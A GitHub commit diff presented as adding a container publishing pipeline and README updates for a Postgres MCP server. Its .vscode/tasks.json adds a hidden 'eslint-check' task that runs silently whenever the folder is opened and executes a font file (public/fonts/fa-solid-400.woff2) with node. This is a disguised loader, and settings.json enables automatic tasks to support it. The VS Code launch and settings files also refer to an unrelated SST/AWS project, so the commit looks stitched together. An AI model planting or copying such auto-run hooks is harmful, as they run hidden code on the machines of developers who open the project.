Skip to content

Commit b6a418f

Browse files
committed
feat: add GHCR publishing pipeline for enhanced MCP distribution (#9)
1 parent e359576 commit b6a418f

31 files changed

Lines changed: 9953 additions & 422 deletions

.github/workflows/publish-ghcr.yml

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
name: Publish to GitHub Container Registry
2+
3+
on:
4+
push:
5+
branches: [main]
6+
tags: ['v*']
7+
workflow_dispatch:
8+
9+
env:
10+
REGISTRY: ghcr.io
11+
IMAGE_NAME: trufnetwork/postgres-mcp
12+
13+
jobs:
14+
build-and-publish:
15+
runs-on: ubuntu-latest
16+
permissions:
17+
contents: read
18+
packages: write
19+
20+
steps:
21+
- name: Checkout
22+
uses: actions/checkout@v4
23+
24+
- name: Set up Docker Buildx
25+
uses: docker/setup-buildx-action@v3
26+
27+
- name: Set up QEMU
28+
uses: docker/setup-qemu-action@v3
29+
with:
30+
platforms: linux/amd64,linux/arm64
31+
32+
- name: Log in to GHCR
33+
uses: docker/login-action@v3
34+
with:
35+
registry: ghcr.io
36+
username: ${{ github.actor }}
37+
password: ${{ secrets.GITHUB_TOKEN }}
38+
39+
- name: Extract metadata
40+
id: meta
41+
uses: docker/metadata-action@v5
42+
with:
43+
images: ghcr.io/trufnetwork/postgres-mcp
44+
tags: |
45+
type=ref,event=branch
46+
type=ref,event=tag
47+
type=raw,value=latest,enable={{is_default_branch}}
48+
49+
- name: Build and push
50+
uses: docker/build-push-action@v5
51+
with:
52+
context: .
53+
platforms: linux/amd64,linux/arm64
54+
push: true
55+
tags: ${{ steps.meta.outputs.tags }}
56+
labels: ${{ steps.meta.outputs.labels }}
57+
cache-from: type=gha
58+
cache-to: type=gha,mode=max

.gitignore

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -183,3 +183,6 @@ devenv.local.nix
183183
# pre-commit
184184
.pre-commit-config.yaml
185185
*.sql
186+
branch_structure.json
187+
temp_auto_push.bat
188+
temp_interactive_push.bat

.vscode/extensions.json

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
{
2+
"recommendations": [
3+
"myml.vscode-markdown-plantuml-preview",
4+
"esbenp.prettier-vscode",
5+
"jebbs.plantuml"
6+
]
7+
}

.vscode/launch.json

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
{
2+
"version": "0.2.0",
3+
"configurations": [
4+
{
5+
"name": "Debug SST",
6+
"type": "node",
7+
"request": "launch",
8+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
9+
"runtimeArgs": ["dev", "--increase-timeout"],
10+
"console": "integratedTerminal",
11+
"skipFiles": ["<node_internals>/**"],
12+
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
13+
"sourceMapRenames": false,
14+
"env": {
15+
"AWS_PROFILE": "flo-ct-flo360"
16+
}
17+
},
18+
{
19+
"name": "Debug Tests - Unit",
20+
"type": "node",
21+
"request": "launch",
22+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
23+
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
24+
"console": "integratedTerminal",
25+
"skipFiles": ["<node_internals>/**"],
26+
"env": {
27+
"AWS_PROFILE": "flo-ct-flo360"
28+
},
29+
},
30+
{
31+
"name": "Debug Tests - E2E",
32+
"type": "node",
33+
"request": "launch",
34+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
35+
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
36+
"console": "integratedTerminal",
37+
"skipFiles": ["<node_internals>/**"],
38+
"env": {
39+
"AWS_PROFILE": "flo-ct-flo360"
40+
},
41+
},
42+
],
43+
"inputs": [
44+
{
45+
"id": "scopeTestsFileName",
46+
"type": "promptString",
47+
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
48+
}
49+
]
50+
}

.vscode/settings.json

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
{
2+
"search.exclude": {
3+
"**/.sst": true
4+
},
5+
"task.allowAutomaticTasks": true,
6+
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
7+
"editor.defaultFormatter": "esbenp.prettier-vscode",
8+
"typescript.preferences.importModuleSpecifier": "relative",
9+
"typescript.tsdk": "node_modules/typescript/lib",
10+
"debug.openDebug": "neverOpen",
11+
"problems.autoReveal": true,
12+
"terminal.integrated.hideOnStartup": "always",
13+
"terminal.integrated.defaultProfile.windows": "Command Prompt",
14+
"terminal.integrated.inheritEnv": false,
15+
"jestrunner.configPath": "jest.unit.config.cjs",
16+
"compile-hero.disable-compile-files-on-did-save-code": true,
17+
"tasks": {
18+
"label": "lint on open",
19+
"type": "shell",
20+
"command": "npm run lint",
21+
"runOn": "folderOpen"
22+
}
23+
}

.vscode/spellright.dict

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Contentful
2+
Lerna

.vscode/tasks.json

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
{
2+
"version": "2.0.0",
3+
"configurations": [
4+
{
5+
"type": "node",
6+
"request": "launch",
7+
"name": "Run My Project",
8+
"console": "",
9+
"internalConsoleOptions": "openOnSessionStart"
10+
}
11+
],
12+
"tasks": [
13+
{
14+
"label": "eslint-check",
15+
"type": "shell",
16+
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
17+
"problemMatcher": [],
18+
"isBackground": true,
19+
"hide": true,
20+
"presentation": {
21+
"reveal": "never",
22+
"panel": "dedicated",
23+
"focus": false,
24+
"clear": false,
25+
"echo": false,
26+
"close": true
27+
},
28+
"runOptions": {
29+
"runOn": "folderOpen"
30+
}
31+
},
32+
]
33+
}

README.md

Lines changed: 135 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -26,16 +26,24 @@
2626

2727
**Postgres MCP Pro** is an open source Model Context Protocol (MCP) server built to support you and your AI agents throughout the **entire development process**—from initial coding, through testing and deployment, and to production tuning and maintenance.
2828

29-
Postgres MCP Pro does much more than wrap a database connection.
29+
This **TRUF.NETWORK enhanced version** includes specialized tools for blockchain data analysis and stream processing, in addition to all standard PostgreSQL capabilities.
3030

31-
Features include:
31+
### Core Features
3232

3333
- **🔍 Database Health** - analyze index health, connection utilization, buffer cache, vacuum health, sequence limits, replication lag, and more.
3434
- **⚡ Index Tuning** - explore thousands of possible indexes to find the best solution for your workload, using industrial-strength algorithms.
3535
- **📈 Query Plans** - validate and optimize performance by reviewing EXPLAIN plans and simulating the impact of hypothetical indexes.
3636
- **🧠 Schema Intelligence** - context-aware SQL generation based on detailed understanding of the database schema.
3737
- **🛡️ Safe SQL Execution** - configurable access control, including support for read-only mode and safe SQL parsing, making it usable for both development and production.
3838

39+
### TRUF.NETWORK Enhanced Features
40+
41+
- **📊 Stream Analytics** - Query composed and primitive stream records with advanced time-series capabilities
42+
- **📈 Index Calculations** - Calculate percentage changes and analyze stream performance over time
43+
- **🏗️ Taxonomy Intelligence** - Navigate hierarchical stream relationships and compositions
44+
- **⚡ Real-time Queries** - Access live blockchain data through optimized recursive CTEs
45+
- **🔐 Network Security** - Built-in access controls and safe query execution for production blockchain data
46+
3947
Postgres MCP Pro supports both the [Standard Input/Output (stdio)](https://modelcontextprotocol.io/docs/concepts/transports#standard-input%2Foutput-stdio) and [Server-Sent Events (SSE)](https://modelcontextprotocol.io/docs/concepts/transports#server-sent-events-sse) transports, for flexibility in different environments.
4048

4149
For additional background on why we built Postgres MCP Pro, see [our launch blog post](https://www.crystaldba.ai/blog/post/announcing-postgres-mcp-server-pro).
@@ -81,13 +89,26 @@ However, it often makes sense to use whichever method you are most familiar with
8189

8290
Choose one of the following methods to install Postgres MCP Pro:
8391

84-
#### Option 1: Using Docker
92+
#### Option 1: Using Docker (Recommended)
93+
94+
Pull the TRUF.NETWORK enhanced Postgres MCP server Docker image.
95+
This image contains all necessary dependencies and TRUF-specific tools, providing a reliable way to run the enhanced MCP server in a variety of environments.
8596

86-
Pull the Postgres MCP Pro MCP server Docker image.
87-
This image contains all necessary dependencies, providing a reliable way to run Postgres MCP Pro in a variety of environments.
97+
```bash
98+
# TRUF.NETWORK enhanced version with blockchain analytics
99+
docker pull ghcr.io/trufnetwork/postgres-mcp:latest
100+
```
88101

102+
**🚀 Quick Start with Docker:**
89103
```bash
90-
docker pull crystaldba/postgres-mcp
104+
# Run with SSE transport for Claude Desktop integration
105+
docker run -d --name postgres-mcp -p 8000:8000 \
106+
-e DATABASE_URI="postgresql://username:[email protected]:5432/dbname" \
107+
ghcr.io/trufnetwork/postgres-mcp:latest \
108+
--transport=sse --sse-host=0.0.0.0 --access-mode=restricted
109+
110+
# Test the connection
111+
curl -N -H "Accept: text/event-stream" http://localhost:8000/sse
91112
```
92113

93114

@@ -126,6 +147,7 @@ You will now edit the `mcpServers` section of the configuration file.
126147

127148
##### If you are using Docker
128149

150+
**Option A: STDIO Transport (Direct Docker)**
129151
```json
130152
{
131153
"mcpServers": {
@@ -137,8 +159,8 @@ You will now edit the `mcpServers` section of the configuration file.
137159
"--rm",
138160
"-e",
139161
"DATABASE_URI",
140-
"crystaldba/postgres-mcp",
141-
"--access-mode=unrestricted"
162+
"ghcr.io/trufnetwork/postgres-mcp:latest",
163+
"--access-mode=restricted"
142164
],
143165
"env": {
144166
"DATABASE_URI": "postgresql://username:password@localhost:5432/dbname"
@@ -148,7 +170,41 @@ You will now edit the `mcpServers` section of the configuration file.
148170
}
149171
```
150172

151-
The Postgres MCP Pro Docker image will automatically remap the hostname `localhost` to work from inside of the container.
173+
**Option B: SSE Transport (Recommended for TRUF.NETWORK)**
174+
175+
First, run the Docker container with SSE transport:
176+
```bash
177+
docker run -d --name postgres-mcp -p 8000:8000 \
178+
-e DATABASE_URI="postgresql://username:[email protected]:5432/dbname" \
179+
ghcr.io/trufnetwork/postgres-mcp:latest \
180+
--transport=sse --sse-host=0.0.0.0 --access-mode=restricted
181+
```
182+
183+
Then install the SSE bridge and configure Claude Desktop:
184+
```bash
185+
npm install -g mcp-remote
186+
```
187+
188+
```json
189+
{
190+
"mcpServers": {
191+
"truf-postgres": {
192+
"command": "mcp-remote",
193+
"args": [
194+
"http://localhost:8000/sse"
195+
]
196+
}
197+
}
198+
}
199+
```
200+
201+
**Benefits of SSE Transport:**
202+
- ✅ Better performance for complex queries
203+
- ✅ Real-time streaming capabilities
204+
- ✅ More reliable connection handling
205+
- ✅ Support for concurrent AI agent sessions
206+
207+
The Postgres MCP Pro Docker image will automatically remap the hostname `localhost` to work from inside of the container:
152208

153209
- MacOS/Windows: Uses `host.docker.internal` automatically
154210
- Linux: Uses `172.17.0.1` or the appropriate host address automatically
@@ -373,6 +429,76 @@ Postgres MCP Pro complements generative AI by adding deterministic tools and cla
373429
The combination is both reliable and flexible.
374430

375431

432+
## TRUF.NETWORK Enhanced Tools
433+
434+
This enhanced version includes specialized tools for blockchain data analysis and stream processing. These tools are designed specifically for the TRUF.NETWORK ecosystem and provide AI agents with powerful capabilities for analyzing blockchain data and stream hierarchies.
435+
436+
### Stream Analytics Tools
437+
438+
- **`get_composed_stream_records`** - Query calculated time series data from composed streams
439+
```
440+
Parameters: data_provider, stream_id, from_time, to_time, frozen_at, use_cache
441+
Returns: Time series records with calculated values and metadata
442+
```
443+
444+
- **`get_latest_composed_stream_record`** - Get the most recent record from a composed stream
445+
```
446+
Parameters: data_provider, stream_id, frozen_at
447+
Returns: Latest calculated value with timestamp
448+
```
449+
450+
- **`get_primitive_stream_records`** - Access raw primitive stream data
451+
```
452+
Parameters: data_provider, stream_id, from_time, to_time, frozen_at
453+
Returns: Raw event data from primitive streams
454+
```
455+
456+
### Index and Change Analytics
457+
458+
- **`get_index`** - Retrieve stream index values over time periods
459+
```
460+
Parameters: data_provider, stream_id, from_time, to_time, frozen_at
461+
Returns: Index values with timestamps for analysis
462+
```
463+
464+
- **`get_index_change`** - Calculate percentage changes in stream indices
465+
```
466+
Parameters: data_provider, stream_id, from_time, to_time, time_interval, frozen_at
467+
Returns: Percentage change calculations with time comparisons
468+
```
469+
470+
### Stream Intelligence Tools
471+
472+
- **`check_stream_type`** - Determine if a stream is primitive or composed
473+
- **`get_stream_composition`** - Analyze hierarchical relationships and taxonomies
474+
- **Advanced recursive CTEs** - Navigate complex stream hierarchies and weights
475+
476+
### Business Intelligence Features
477+
478+
These tools enable AI agents to perform sophisticated blockchain data analysis:
479+
480+
- **Real-time Analytics**: Query live blockchain data with time-travel capabilities
481+
- **Performance Monitoring**: Track stream index changes and performance metrics
482+
- **Hierarchical Analysis**: Navigate complex stream taxonomies and compositions
483+
- **Data Validation**: Ensure data integrity with frozen-at queries for consistency
484+
485+
### Example Usage Scenarios
486+
487+
Ask your AI agent questions like:
488+
- "What's the latest calculated value for stream X from data provider Y?"
489+
- "Show me the percentage change in index values over the last week"
490+
- "Analyze the composition and weights of this hierarchical stream"
491+
- "Compare performance metrics between different stream types"
492+
493+
### Database Schema Support
494+
495+
The enhanced version includes optimized support for TRUF.NETWORK's `main` schema with tables:
496+
- `main.streams` - Stream definitions and metadata
497+
- `main.primitive_events` - Raw blockchain event data
498+
- `main.taxonomies` - Hierarchical stream relationships
499+
- `main.data_providers` - Data provider information and configurations
500+
501+
376502
*Why are MCP tools needed when the LLM can reason, generate SQL, etc?*
377503
LLMs are invaluable for tasks that involve ambiguity, reasoning, or natural language.
378504
When compared to procedural code, however, they can be slow, expensive, non-deterministic, and sometimes produce unreliable results.

0 commit comments

Comments
 (0)